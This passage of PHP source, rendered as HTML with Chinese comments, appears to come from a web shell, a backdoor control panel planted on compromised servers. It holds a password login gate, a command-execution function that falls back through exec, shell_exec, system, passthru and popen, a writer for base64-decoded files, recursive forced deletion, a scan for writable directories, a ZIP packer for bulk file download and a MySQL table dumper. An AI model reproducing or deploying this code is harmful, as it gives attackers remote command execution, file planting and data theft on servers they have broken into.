/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$to = $page;<BR />&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;} elseif($to &gt; $pages) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$from = $curpage - $pages + $to;<BR />&nbsp;&nbsp;&nbsp;&nbsp;$to = $pages;<BR />&nbsp;&nbsp;&nbsp;&nbsp;if(($to - $from) &lt; $page &amp;&amp; ($to - $from) &lt; $pages) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$from = $pages - $page + 1;<BR />&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;$multipage = ($curpage - $offset &gt; 1 &amp;&amp; $pages &gt; $page ? '&lt;a href="javascript:settable(\''.$tablename.'\', \'\', 1);"&gt;First&lt;/a&gt; ' : '').($curpage &gt; 1 ? '&lt;a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');"&gt;Prev&lt;/a&gt; ' : '');<BR />&nbsp;&nbsp;for($i = $from; $i &lt;= $to; $i++) {<BR />&nbsp;&nbsp;&nbsp;$multipage .= $i == $curpage ? $i.' ' : '&lt;a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');"&gt;['.$i.']&lt;/a&gt; ';<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;$multipage .= ($curpage &lt; $pages ? '&lt;a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');"&gt;Next&lt;/a&gt;' : '').($to &lt; $pages ? ' &lt;a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');"&gt;Last&lt;/a&gt;' : '');<BR />&nbsp;&nbsp;$multipage = $multipage ? '&lt;p&gt;Pages: '.$multipage.'&lt;/p&gt;' : '';<BR />&nbsp;}<BR />&nbsp;return $multipage;<BR />}<BR />// 登陆入口<BR />function loginpage() {<BR />?&gt;<BR />&nbsp;&lt;style type="text/css"&gt;<BR />&nbsp;input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}<BR />&nbsp;&lt;/style&gt;<BR />&nbsp;&lt;form method="POST" action=""&gt;<BR />&nbsp;&lt;span style="font:11px Verdana;"&gt;Password: &lt;/span&gt;&lt;input name="password" type="password" size="20"&gt;<BR />&nbsp;&lt;input type="hidden" name="doing" value="login"&gt;<BR />&nbsp;&lt;input type="submit" value="Login"&gt;<BR />&nbsp;&lt;/form&gt;<BR />&lt;?php<BR />&nbsp;exit;<BR />}//end loginpage()</P>
<P>function execute($cfe) {<BR />&nbsp;$res = '';<BR />&nbsp;if ($cfe) {<BR />&nbsp;&nbsp;if(function_exists('exec')) {<BR />&nbsp;&nbsp;&nbsp;@exec($cfe,$res);<BR />&nbsp;&nbsp;&nbsp;$res = join("\n",$res);<BR />&nbsp;&nbsp;} elseif(function_exists('shell_exec')) {<BR />&nbsp;&nbsp;&nbsp;$res = @shell_exec($cfe);<BR />&nbsp;&nbsp;} elseif(function_exists('system')) {<BR />&nbsp;&nbsp;&nbsp;@ob_start();<BR />&nbsp;&nbsp;&nbsp;@system($cfe);<BR />&nbsp;&nbsp;&nbsp;$res = @ob_get_contents();<BR />&nbsp;&nbsp;&nbsp;@ob_end_clean();<BR />&nbsp;&nbsp;} elseif(function_exists('passthru')) {<BR />&nbsp;&nbsp;&nbsp;@ob_start();<BR />&nbsp;&nbsp;&nbsp;@passthru($cfe);<BR />&nbsp;&nbsp;&nbsp;$res = @ob_get_contents();<BR />&nbsp;&nbsp;&nbsp;@ob_end_clean();<BR />&nbsp;&nbsp;} elseif(@is_resource($f = @popen($cfe,"r"))) {<BR />&nbsp;&nbsp;&nbsp;$res = '';<BR />&nbsp;&nbsp;&nbsp;while(<A href="mailto:!@feof($f">!@feof($f</A>)) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$res .= @fread($f,1024); <BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;@pclose($f);<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />&nbsp;return $res;<BR />}<BR />function which($pr) {<BR />&nbsp;$path = execute("which $pr");<BR />&nbsp;return ($path ? $path : $pr); <BR />}</P>
<P>function cf($fname,$text){<BR />&nbsp;if(<A href="mailto:$fp=@fopen($fname,'w'">$fp=@fopen($fname,'w'</A>)) {<BR />&nbsp;&nbsp;@fputs($fp,@base64_decode($text));<BR />&nbsp;&nbsp;@fclose($fp);<BR />&nbsp;}<BR />}<BR />function dirsize($dir) { <BR />&nbsp;$dh = @opendir($dir);<BR />&nbsp;$size = 0;<BR />&nbsp;while($file = @readdir($dh)) {<BR />&nbsp;&nbsp;if ($file != '.' &amp;&amp; $file != '..') {<BR />&nbsp;&nbsp;&nbsp;$path = $dir.'/'.$file;<BR />&nbsp;&nbsp;&nbsp;if (@is_dir($path)) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$size += dirsize($path);<BR />&nbsp;&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$size += @filesize($path);<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />&nbsp;@closedir($dh);<BR />&nbsp;return $size;<BR />}<BR />// 页面调试信息<BR />function debuginfo() {<BR />&nbsp;global $starttime;<BR />&nbsp;$mtime = explode(' ', microtime());<BR />&nbsp;$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);<BR />&nbsp;echo 'Processed in '.$totaltime.' second(s)';<BR />}</P>
<P>//连接数据库<BR />function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {<BR />&nbsp;if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {<BR />&nbsp;&nbsp;p('&lt;h2&gt;Can not connect to MySQL server&lt;/h2&gt;');<BR />&nbsp;&nbsp;exit;<BR />&nbsp;}<BR />&nbsp;if($link &amp;&amp; $dbname) {<BR />&nbsp;&nbsp;if (<A href="mailto:!@mysql_select_db($dbname">!@mysql_select_db($dbname</A>, $link)) {<BR />&nbsp;&nbsp;&nbsp;p('&lt;h2&gt;Database selected has error&lt;/h2&gt;');<BR />&nbsp;&nbsp;&nbsp;exit;<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />&nbsp;if($link &amp;&amp; mysql_get_server_info() &gt; '4.1') {<BR />&nbsp;&nbsp;if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {<BR />&nbsp;&nbsp;&nbsp;q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />&nbsp;return $link;<BR />}</P>
<P>// 去掉转义字符<BR />function s_array(&amp;$array) {<BR />&nbsp;if (is_array($array)) {<BR />&nbsp;&nbsp;foreach ($array as $k =&gt; $v) {<BR />&nbsp;&nbsp;&nbsp;$array[$k] = s_array($v);<BR />&nbsp;&nbsp;}<BR />&nbsp;} else if (is_string($array)) {<BR />&nbsp;&nbsp;$array = stripslashes($array);<BR />&nbsp;}<BR />&nbsp;return $array;<BR />}</P>
<P>// 清除HTML代码<BR />function html_clean($content) {<BR />&nbsp;$content = htmlspecialchars($content);<BR />&nbsp;$content = str_replace("\n", "&lt;br /&gt;", $content);<BR />&nbsp;$content = str_replace("&nbsp; ", "&amp;nbsp;&amp;nbsp;", $content);<BR />&nbsp;$content = str_replace("\t", "&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;", $content);<BR />&nbsp;return $content;<BR />}</P>
<P>// 获取权限<BR />function getChmod($filepath){<BR />&nbsp;return substr(base_convert(@fileperms($filepath),10,8),-4);<BR />}</P>
<P>function getPerms($filepath) {<BR />&nbsp;$mode = @fileperms($filepath);<BR />&nbsp;if (($mode &amp; 0xC000) === 0xC000) {$type = 's';}<BR />&nbsp;elseif (($mode &amp; 0x4000) === 0x4000) {$type = 'd';}<BR />&nbsp;elseif (($mode &amp; 0xA000) === 0xA000) {$type = 'l';}<BR />&nbsp;elseif (($mode &amp; 0x8000) === 0x8000) {$type = '-';} <BR />&nbsp;elseif (($mode &amp; 0x6000) === 0x6000) {$type = 'b';}<BR />&nbsp;elseif (($mode &amp; 0x2000) === 0x2000) {$type = 'c';}<BR />&nbsp;elseif (($mode &amp; 0x1000) === 0x1000) {$type = 'p';}<BR />&nbsp;else {$type = '?';}</P>
<P>&nbsp;$owner['read'] = ($mode &amp; 00400) ? 'r' : '-'; <BR />&nbsp;$owner['write'] = ($mode &amp; 00200) ? 'w' : '-'; <BR />&nbsp;$owner['execute'] = ($mode &amp; 00100) ? 'x' : '-'; <BR />&nbsp;$group['read'] = ($mode &amp; 00040) ? 'r' : '-'; <BR />&nbsp;$group['write'] = ($mode &amp; 00020) ? 'w' : '-'; <BR />&nbsp;$group['execute'] = ($mode &amp; 00010) ? 'x' : '-'; <BR />&nbsp;$world['read'] = ($mode &amp; 00004) ? 'r' : '-'; <BR />&nbsp;$world['write'] = ($mode &amp; 00002) ? 'w' : '-'; <BR />&nbsp;$world['execute'] = ($mode &amp; 00001) ? 'x' : '-'; </P>
<P>&nbsp;if( $mode &amp; 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}<BR />&nbsp;if( $mode &amp; 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}<BR />&nbsp;if( $mode &amp; 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}<BR />&nbsp;<BR />&nbsp;return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];<BR />}</P>
<P>function getUser($filepath)&nbsp;{<BR />&nbsp;if (function_exists('posix_getpwuid')) {<BR />&nbsp;&nbsp;$array = @posix_getpwuid(@fileowner($filepath));<BR />&nbsp;&nbsp;if ($array &amp;&amp; is_array($array)) {<BR />&nbsp;&nbsp;&nbsp;return ' / &lt;a href="#" title="User: '.$array['name'].'&amp;#13&amp;#10Passwd: '.$array['passwd'].'&amp;#13&amp;#10Uid: '.$array['uid'].'&amp;#13&amp;#10gid: '.$array['gid'].'&amp;#13&amp;#10Gecos: '.$array['gecos'].'&amp;#13&amp;#10Dir: '.$array['dir'].'&amp;#13&amp;#10Shell: '.$array['shell'].'"&gt;'.$array['name'].'&lt;/a&gt;';<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />&nbsp;return '';<BR />}</P>
<P>// 删除目录<BR />function deltree($deldir) {<BR />&nbsp;<A href="mailto:$mydir=@dir($deldir">$mydir=@dir($deldir</A>);&nbsp;<BR />&nbsp;while($file=$mydir-&gt;read())&nbsp;{ &nbsp;&nbsp;<BR />&nbsp;&nbsp;if((is_dir($deldir.'/'.$file)) &amp;&amp; ($file!='.') &amp;&amp; ($file!='..')) { <BR />&nbsp;&nbsp;&nbsp;@chmod($deldir.'/'.$file,0777);<BR />&nbsp;&nbsp;&nbsp;deltree($deldir.'/'.$file); <BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;if (is_file($deldir.'/'.$file)) {<BR />&nbsp;&nbsp;&nbsp;@chmod($deldir.'/'.$file,0777);<BR />&nbsp;&nbsp;&nbsp;@unlink($deldir.'/'.$file);<BR />&nbsp;&nbsp;}<BR />&nbsp;} <BR />&nbsp;$mydir-&gt;close(); <BR />&nbsp;@chmod($deldir,0777);<BR />&nbsp;return @rmdir($deldir) ? 1 : 0;<BR />}</P>
<P>// 表格行间的背景色替换<BR />function bg() {<BR />&nbsp;global $bgc;<BR />&nbsp;return ($bgc++%2==0) ? 'alt1' : 'alt2';<BR />}</P>
<P>// 获取当前的文件系统路径<BR />function getPath($scriptpath, $nowpath) {<BR />&nbsp;if ($nowpath == '.') {<BR />&nbsp;&nbsp;$nowpath = $scriptpath;<BR />&nbsp;}<BR />&nbsp;$nowpath = str_replace('\\', '/', $nowpath);<BR />&nbsp;$nowpath = str_replace('//', '/', $nowpath);<BR />&nbsp;if (substr($nowpath, -1) != '/') {<BR />&nbsp;&nbsp;$nowpath = $nowpath.'/';<BR />&nbsp;}<BR />&nbsp;return $nowpath;<BR />}</P>
<P>// 获取当前目录的上级目录<BR />function getUpPath($nowpath) {<BR />&nbsp;$pathdb = explode('/', $nowpath);<BR />&nbsp;$num = count($pathdb);<BR />&nbsp;if ($num &gt; 2) {<BR />&nbsp;&nbsp;unset($pathdb[$num-1],$pathdb[$num-2]);<BR />&nbsp;}<BR />&nbsp;$uppath = implode('/', $pathdb).'/';<BR />&nbsp;$uppath = str_replace('//', '/', $uppath);<BR />&nbsp;return $uppath;<BR />}</P>
<P>// 检查PHP配置参数<BR />function getcfg($varname) {<BR />&nbsp;$result = get_cfg_var($varname);<BR />&nbsp;if ($result == 0) {<BR />&nbsp;&nbsp;return 'No';<BR />&nbsp;} elseif ($result == 1) {<BR />&nbsp;&nbsp;return 'Yes';<BR />&nbsp;} else {<BR />&nbsp;&nbsp;return $result;<BR />&nbsp;}<BR />}</P>
<P>// 检查函数情况<BR />function getfun($funName) {<BR />&nbsp;return (false !== function_exists($funName)) ? 'Yes' : 'No';<BR />}</P>
<P>function GetList($dir){<BR />&nbsp;global $dirdata,$j,$nowpath;<BR />&nbsp;!$j &amp;&amp; $j=1;<BR />&nbsp;if ($dh = opendir($dir)) {<BR />&nbsp;&nbsp;while ($file = readdir($dh)) {<BR />&nbsp;&nbsp;&nbsp;$f=str_replace('//','/',$dir.'/'.$file);<BR />&nbsp;&nbsp;&nbsp;if($file!='.' &amp;&amp; $file!='..' &amp;&amp; is_dir($f)){<BR />&nbsp;&nbsp;&nbsp;&nbsp;if (is_writable($f)) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$dirdata[$j]['filename']=str_replace($nowpath,'',$f);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$dirdata[$j]['dirchmod']=getChmod($f);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$dirdata[$j]['dirperm']=getPerms($f);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$dirdata[$j]['dirlink']=ue($dir);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$dirdata[$j]['server_link']=$f;<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$dirdata[$j]['client_link']=ue($f);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$j++;<BR />&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;GetList($f);<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;closedir($dh);<BR />&nbsp;&nbsp;clearstatcache();<BR />&nbsp;&nbsp;return $dirdata;<BR />&nbsp;} else {<BR />&nbsp;&nbsp;return array();<BR />&nbsp;}<BR />}</P>
<P>function qy($sql) { <BR />&nbsp;//echo $sql.'&lt;br&gt;';<BR />&nbsp;$res = $error = '';<BR />&nbsp;if(!$res = @mysql_query($sql)) { <BR />&nbsp;&nbsp;return 0;<BR />&nbsp;} else if(is_resource($res)) {<BR />&nbsp;&nbsp;return 1; <BR />&nbsp;} else {<BR />&nbsp;&nbsp;return 2;<BR />&nbsp;}&nbsp;<BR />&nbsp;return 0;<BR />}</P>
<P>function q($sql) { <BR />&nbsp;return @mysql_query($sql);<BR />}</P>
<P>function fr($qy){<BR />&nbsp;mysql_free_result($qy);<BR />}</P>
<P>function sizecount($size) {<BR />&nbsp;if($size &gt; 1073741824) {<BR />&nbsp;&nbsp;$size = round($size / 1073741824 * 100) / 100 . ' G';<BR />&nbsp;} elseif($size &gt; 1048576) {<BR />&nbsp;&nbsp;$size = round($size / 1048576 * 100) / 100 . ' M';<BR />&nbsp;} elseif($size &gt; 1024) {<BR />&nbsp;&nbsp;$size = round($size / 1024 * 100) / 100 . ' K';<BR />&nbsp;} else {<BR />&nbsp;&nbsp;$size = $size . ' B';<BR />&nbsp;}<BR />&nbsp;return $size;<BR />}</P>
<P>// 压缩打包类<BR />class PHPZip{<BR />&nbsp;var $out='';<BR />&nbsp;function PHPZip($dir)&nbsp;{<BR />&nbsp;&nbsp;if (@function_exists('gzcompress'))&nbsp;{<BR />&nbsp;&nbsp;&nbsp;$curdir = getcwd();<BR />&nbsp;&nbsp;&nbsp;if (is_array($dir)) $filelist = $dir;<BR />&nbsp;&nbsp;&nbsp;else{<BR />&nbsp;&nbsp;&nbsp;&nbsp;$filelist=$this -&gt; GetFileList($dir);//文件列表<BR />&nbsp;&nbsp;&nbsp;&nbsp;foreach($filelist as $k=&gt;$v) $filelist[]=substr($v,strlen($dir)+1);<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;if ((!empty($dir))&amp;&amp;(!is_array($dir))&amp;&amp;(file_exists($dir))) chdir($dir);<BR />&nbsp;&nbsp;&nbsp;else chdir($curdir);<BR />&nbsp;&nbsp;&nbsp;if (count($filelist)&gt;0){<BR />&nbsp;&nbsp;&nbsp;&nbsp;foreach($filelist as $filename){<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (is_file($filename)){<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$fd = fopen ($filename, 'r');<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$content = @fread ($fd, filesize($filename));<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fclose ($fd);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (is_array($dir)) $filename = basename($filename);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this -&gt; addFile($content, $filename);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;out = $this -&gt; file();<BR />&nbsp;&nbsp;&nbsp;&nbsp;chdir($curdir);<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;return 1;<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;else return 0;<BR />&nbsp;}</P>
<P>&nbsp;// 获得指定目录文件列表<BR />&nbsp;function GetFileList($dir){<BR />&nbsp;&nbsp;static $a;<BR />&nbsp;&nbsp;if (is_dir($dir)) {<BR />&nbsp;&nbsp;&nbsp;if ($dh = opendir($dir)) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;while ($file = readdir($dh)) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if($file!='.' &amp;&amp; $file!='..'){<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$f=$dir .'/'. $file;<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(is_dir($f)) $this-&gt;GetFileList($f);<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$a[]=$f;<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;&nbsp;closedir($dh);<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;return $a;<BR />&nbsp;}</P>
<P>&nbsp;var $datasec&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = array();<BR />&nbsp;var $ctrl_dir&nbsp;&nbsp;&nbsp;&nbsp; = array();<BR />&nbsp;var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";<BR />&nbsp;var $old_offset&nbsp;&nbsp; = 0;</P>
<P>&nbsp;function unix2DosTime($unixtime = 0) {<BR />&nbsp;&nbsp;$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);<BR />&nbsp;&nbsp;if ($timearray['year'] &lt; 1980) {<BR />&nbsp;&nbsp;&nbsp;$timearray['year']&nbsp;&nbsp;&nbsp; = 1980;<BR />&nbsp;&nbsp;&nbsp;$timearray['mon']&nbsp;&nbsp;&nbsp;&nbsp; = 1;<BR />&nbsp;&nbsp;&nbsp;$timearray['mday']&nbsp;&nbsp;&nbsp; = 1;<BR />&nbsp;&nbsp;&nbsp;$timearray['hours']&nbsp;&nbsp; = 0;<BR />&nbsp;&nbsp;&nbsp;$timearray['minutes'] = 0;<BR />&nbsp;&nbsp;&nbsp;$timearray['seconds'] = 0;<BR />&nbsp;&nbsp;} // end if<BR />&nbsp;&nbsp;return (($timearray['year'] - 1980) &lt;&lt; 25) | ($timearray['mon'] &lt;&lt; 21) | ($timearray['mday'] &lt;&lt; 16) |<BR />&nbsp;&nbsp;&nbsp;&nbsp;($timearray['hours'] &lt;&lt; 11) | ($timearray['minutes'] &lt;&lt; 5) | ($timearray['seconds'] &gt;&gt; 1);<BR />&nbsp;}</P>
<P>&nbsp;function addFile($data, $name, $time = 0) {<BR />&nbsp;&nbsp;$name = str_replace('\\', '/', $name);</P>
<P>&nbsp;&nbsp;$dtime = dechex($this-&gt;unix2DosTime($time));<BR />&nbsp;&nbsp;$hexdtime&nbsp;= '\x' . $dtime[6] . $dtime[7]<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;. '\x' . $dtime[4] . $dtime[5]<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;. '\x' . $dtime[2] . $dtime[3]<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;. '\x' . $dtime[0] . $dtime[1];<BR />&nbsp;&nbsp;eval('$hexdtime = "' . $hexdtime . '";');<BR />&nbsp;&nbsp;$fr&nbsp;= "\x50\x4b\x03\x04";<BR />&nbsp;&nbsp;$fr&nbsp;.= "\x14\x00";<BR />&nbsp;&nbsp;$fr&nbsp;.= "\x00\x00";<BR />&nbsp;&nbsp;$fr&nbsp;.= "\x08\x00";<BR />&nbsp;&nbsp;$fr&nbsp;.= $hexdtime;</P>
<P>&nbsp;&nbsp;$unc_len = strlen($data);<BR />&nbsp;&nbsp;$crc = crc32($data);<BR />&nbsp;&nbsp;$zdata = gzcompress($data);<BR />&nbsp;&nbsp;$c_len = strlen($zdata);<BR />&nbsp;&nbsp;$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);<BR />&nbsp;&nbsp;$fr .= pack('V', $crc);<BR />&nbsp;&nbsp;$fr .= pack('V', $c_len);<BR />&nbsp;&nbsp;$fr .= pack('V', $unc_len);<BR />&nbsp;&nbsp;$fr .= pack('v', strlen($name));<BR />&nbsp;&nbsp;$fr .= pack('v', 0);<BR />&nbsp;&nbsp;$fr .= $name;<BR />&nbsp;&nbsp;$fr .= $zdata;<BR />&nbsp;&nbsp;$fr .= pack('V', $crc);<BR />&nbsp;&nbsp;$fr .= pack('V', $c_len);<BR />&nbsp;&nbsp;$fr .= pack('V', $unc_len);</P>
<P>&nbsp;&nbsp;$this -&gt; datasec[] = $fr;<BR />&nbsp;&nbsp;$new_offset = strlen(implode('', $this-&gt;datasec));</P>
<P>&nbsp;&nbsp;$cdrec = "\x50\x4b\x01\x02";<BR />&nbsp;&nbsp;$cdrec .= "\x00\x00";<BR />&nbsp;&nbsp;$cdrec .= "\x14\x00";<BR />&nbsp;&nbsp;$cdrec .= "\x00\x00";<BR />&nbsp;&nbsp;$cdrec .= "\x08\x00";<BR />&nbsp;&nbsp;$cdrec .= $hexdtime;<BR />&nbsp;&nbsp;$cdrec .= pack('V', $crc);<BR />&nbsp;&nbsp;$cdrec .= pack('V', $c_len);<BR />&nbsp;&nbsp;$cdrec .= pack('V', $unc_len);<BR />&nbsp;&nbsp;$cdrec .= pack('v', strlen($name) );<BR />&nbsp;&nbsp;$cdrec .= pack('v', 0 );<BR />&nbsp;&nbsp;$cdrec .= pack('v', 0 );<BR />&nbsp;&nbsp;$cdrec .= pack('v', 0 );<BR />&nbsp;&nbsp;$cdrec .= pack('v', 0 );<BR />&nbsp;&nbsp;$cdrec .= pack('V', 32 );<BR />&nbsp;&nbsp;$cdrec .= pack('V', $this -&gt; old_offset );<BR />&nbsp;&nbsp;$this -&gt; old_offset = $new_offset;<BR />&nbsp;&nbsp;$cdrec .= $name;</P>
<P>&nbsp;&nbsp;$this -&gt; ctrl_dir[] = $cdrec;<BR />&nbsp;}</P>
<P>&nbsp;function file() {<BR />&nbsp;&nbsp;$data&nbsp;&nbsp;&nbsp; = implode('', $this -&gt; datasec);<BR />&nbsp;&nbsp;$ctrldir = implode('', $this -&gt; ctrl_dir);<BR />&nbsp;&nbsp;return $data . $ctrldir . $this -&gt; eof_ctrl_dir . pack('v', sizeof($this -&gt; ctrl_dir)) . pack('v', sizeof($this -&gt; ctrl_dir)) .&nbsp;pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";<BR />&nbsp;}<BR />}</P>
<P>// 备份数据库<BR />function sqldumptable($table, $fp=0) {<BR />&nbsp;$tabledump = "DROP TABLE IF EXISTS $table;\n";<BR />&nbsp;$tabledump .= "CREATE TABLE $table (\n";</P>
<P>&nbsp;$firstfield=1;</P>
<P>&nbsp;$fields = q("SHOW FIELDS FROM $table");<BR />&nbsp;while ($field = mysql_fetch_array($fields)) {<BR />&nbsp;&nbsp;if (!$firstfield) {<BR />&nbsp;&nbsp;&nbsp;$tabledump .= ",\n";<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;$firstfield=0;<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;$tabledump .= "&nbsp;&nbsp; $field[Field] $field[Type]";<BR />&nbsp;&nbsp;if (!empty($field["Default"])) {<BR />&nbsp;&nbsp;&nbsp;$tabledump .= " DEFAULT '$field[Default]'";<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;if ($field['Null'] != "YES") {<BR />&nbsp;&nbsp;&nbsp;$tabledump .= " NOT NULL";<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;if ($field['Extra'] != "") {<BR />&nbsp;&nbsp;&nbsp;$tabledump .= " $field[Extra]";<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />&nbsp;fr($fields);</P>
<P>&nbsp;$keys = q("SHOW KEYS FROM $table");<BR />&nbsp;while ($key = mysql_fetch_array($keys)) {<BR />&nbsp;&nbsp;$kname=$key['Key_name'];<BR />&nbsp;&nbsp;if ($kname != "PRIMARY" &amp;&amp; $key['Non_unique'] == 0) {<BR />&nbsp;&nbsp;&nbsp;$kname="UNIQUE|$kname";<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;if(!is_array($index[$kname])) {<BR />&nbsp;&nbsp;&nbsp;$index[$kname] = array();<BR />&nbsp;&nbsp;}<BR />&nbsp;&nbsp;$index[$kname][] = $key['Column_name'];<BR />&nbsp;}<BR />&nbsp;fr($keys);</P>
<P>&nbsp;while(list($kname, $columns) = @each($index)) {<BR />&nbsp;&nbsp;$tabledump .= ",\n";<BR />&nbsp;&nbsp;$colnames=implode($columns,",");</P>
<P>&nbsp;&nbsp;if ($kname == "PRIMARY") {<BR />&nbsp;&nbsp;&nbsp;$tabledump .= "&nbsp;&nbsp; PRIMARY KEY ($colnames)";<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;if (substr($kname,0,6) == "UNIQUE") {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$kname=substr($kname,7);<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;$tabledump .= "&nbsp;&nbsp; KEY $kname ($colnames)";<BR />&nbsp;&nbsp;}<BR />&nbsp;}</P>
<P>&nbsp;$tabledump .= "\n);\n\n";<BR />&nbsp;if ($fp) {<BR />&nbsp;&nbsp;fwrite($fp,$tabledump);<BR />&nbsp;} else {<BR />&nbsp;&nbsp;echo $tabledump;<BR />&nbsp;}</P>
<P>&nbsp;$rows = q("SELECT * FROM $table");<BR />&nbsp;$numfields = mysql_num_fields($rows);<BR />&nbsp;while ($row = mysql_fetch_array($rows)) {<BR />&nbsp;&nbsp;$tabledump = "INSERT INTO $table VALUES(";</P>
<P>&nbsp;&nbsp;$fieldcounter=-1;<BR />&nbsp;&nbsp;$firstfield=1;<BR />&nbsp;&nbsp;while (++$fieldcounter&lt;$numfields) {<BR />&nbsp;&nbsp;&nbsp;if (!$firstfield) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$tabledump.=", ";<BR />&nbsp;&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$firstfield=0;<BR />&nbsp;&nbsp;&nbsp;}</P>
<P>&nbsp;&nbsp;&nbsp;if (!isset($row[$fieldcounter])) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$tabledump .= "NULL";<BR />&nbsp;&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;&nbsp;$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;}</P>
<P>&nbsp;&nbsp;$tabledump .= ");\n";</P>
<P>&nbsp;&nbsp;if ($fp) {<BR />&nbsp;&nbsp;&nbsp;fwrite($fp,$tabledump);<BR />&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;echo $tabledump;<BR />&nbsp;&nbsp;}<BR />&nbsp;}<BR />&nbsp;fr($rows);<BR />&nbsp;if ($fp) {<BR />&nbsp;&nbsp;fwrite($fp,"\n");<BR />&nbsp;} else {<BR />&nbsp;&nbsp;echo "\n";<BR />&nbsp;}<BR />}</P>
